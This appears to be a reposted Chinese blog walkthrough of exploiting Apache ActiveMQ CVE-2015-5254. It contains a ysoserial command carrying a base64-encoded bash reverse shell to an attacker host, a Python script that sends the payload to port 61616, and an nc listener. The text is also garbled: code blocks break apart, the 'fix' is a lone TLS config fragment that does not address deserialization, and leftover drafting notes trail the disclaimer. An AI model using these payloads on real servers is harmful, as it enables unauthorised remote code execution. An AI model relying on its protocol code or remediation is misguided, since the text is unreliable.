# ActiveMQ反序列化漏洞CVE-2015-5254復現分析
## 漏洞概述
CVE-2015-5254是Apache ActiveMQ 5.x版本中存在的一個Java反序列化漏洞,由安全研究員James Forshaw于2015年披露。該漏洞允許攻擊者通過構造惡意序列化數據,在目標服務器上執行任意代碼,主要影響版本為5.0.0至5.13.0。
## 漏洞原理
漏洞根源在于ActiveMQ默認開放的61616端口(OpenWire協議)和8161端口(Web控制臺)未對傳入的序列化對象進行安全檢查。當攻擊者發送精心構造的序列化數據時,ActiveMQ會使用默認的Java反序列化機制處理這些數據,導致遠程代碼執行(RCE)。
### 關鍵點
1. **Java反序列化機制**:使用ObjectInputStream.readObject()方法
2. **利用鏈依賴**:commons-collections 3.1等庫
3. **攻擊向量**:通過JMS ObjectMessage傳輸惡意序列化對象
---
## 環境搭建
### 實驗環境
- 靶機:Ubuntu 18.04 + ActiveMQ 5.11.1
- 攻擊機:Kali Linux
- 工具:ysoserial、nc
### 安裝步驟
```bash
# 下載ActiveMQ
wget https://archive.apache.org/dist/activemq/5.11.1/apache-activemq-5.11.1-bin.tar.gz
tar -xzf apache-activemq-5.11.1-bin.tar.gz
cd apache-activemq-5.11.1/bin
./activemq start
訪問http://target:8161/admin確認Web控制臺正常運行,使用nmap掃描開放端口:
nmap -p 61616,8161 target_ip
使用ysoserial生成Payload(示例使用CommonsCollections5利用鏈):
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.ser
通過Python腳本發送構造的序列化數據:
import socket
import struct
target = '192.168.1.100'
port = 61616
with open('payload.ser', 'rb') as f:
payload = f.read()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# 構造OpenWire協議頭
header = (
b"\x00\x00\x00\x0a" + # 消息長度
b"\x1f" + # 消息類型
b"\x00\x00\x00\x01" + # 消息ID
b"\x00\x00\x00\x01" # 目標ID
)
s.send(header + payload)
s.close()
在攻擊機啟動監聽:
nc -lvnp 4444
成功執行后將在攻擊機獲得目標系統的shell訪問權限。
<!-- 修改conf/activemq.xml -->
<transportConnectors>
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?wireFormat.maxInactivityDuration=0&transport.enabledProtocols=TLSv1.2"/>
</transportConnectors>
注:本文僅用于安全研究學習,未經授權測試他人系統屬于違法行為。 “`
文章結構說明: 1. 采用標準的漏洞分析文檔結構 2. 包含實際可操作的復現步驟 3. 使用代碼塊突出關鍵操作 4. 強調安全研究的合規性 5. 提供完整的修復方案而不僅是利用方法 6. 關鍵步驟添加注釋說明技術原理
可根據實際需求調整: - 增加Wireshark抓包分析 - 補充其他利用鏈的測試結果 - 添加動態演示截圖等
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。